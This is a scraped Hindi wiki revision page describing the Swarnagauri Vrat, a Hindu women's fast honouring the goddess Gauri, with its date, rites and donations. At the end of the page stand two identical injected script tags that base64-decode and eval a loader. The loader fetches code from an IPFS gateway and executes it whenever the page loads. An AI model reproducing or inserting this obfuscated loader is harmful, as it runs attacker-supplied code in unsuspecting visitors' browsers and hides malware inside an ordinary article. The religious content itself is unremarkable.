शिल्पी गोयल (वार्ता | योगदान) छो (स्वर्णगौरीव्रत का नाम बदलकर स्वर्णगौरी व्रत कर दिया गया है) |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "{{लेख प्रगति" to "{{प्रचार}} {{लेख प्रगति") |
||
पंक्ति 8: | पंक्ति 8: | ||
*व्रतार्क <ref>(व्रतार्क पाण्डुलिपि 41 अ-44 ब)</ref>, व्रतराज <ref>(व्रतराज 96-97)</ref> में आया है कि यह [[कर्नाटक]] प्रान्त में व्यवहार रूप में प्रचलित है। | *व्रतार्क <ref>(व्रतार्क पाण्डुलिपि 41 अ-44 ब)</ref>, व्रतराज <ref>(व्रतराज 96-97)</ref> में आया है कि यह [[कर्नाटक]] प्रान्त में व्यवहार रूप में प्रचलित है। | ||
{{प्रचार}} | |||
{{लेख प्रगति | {{लेख प्रगति | ||
|आधार=आधार1 | |आधार=आधार1 |
12:24, 10 जनवरी 2011 का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
- भाद्रपद शुक्ल पक्ष की तृतीया को स्वर्णगौरीव्रत किया जाता हैं।
- स्वर्णगौरीव्रत में देवता गौरी की पूजा की जाती है।
- स्वर्णगौरीव्रत केवल नारियों के लिए होता है।
- स्वर्णगौरीव्रत 16 उपचारों से गौरी की पूजा की जाती है।
- पुत्रों, धन एवं सौभाग्य की प्राप्ति के लिए देवी से प्रार्थना करनी चाहिए।
- स्वर्णगौरीव्रत उद्यापन पर 16 पुरवों (कुल्हड़ों में) 16 खाद्य पदार्थ भरकर तथा वस्त्र से ढंककर गृहस्थ ब्राह्मणों एवं उनकी पत्नियों को दान करना चाहिए।
- व्रतार्क [1], व्रतराज [2] में आया है कि यह कर्नाटक प्रान्त में व्यवहार रूप में प्रचलित है।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>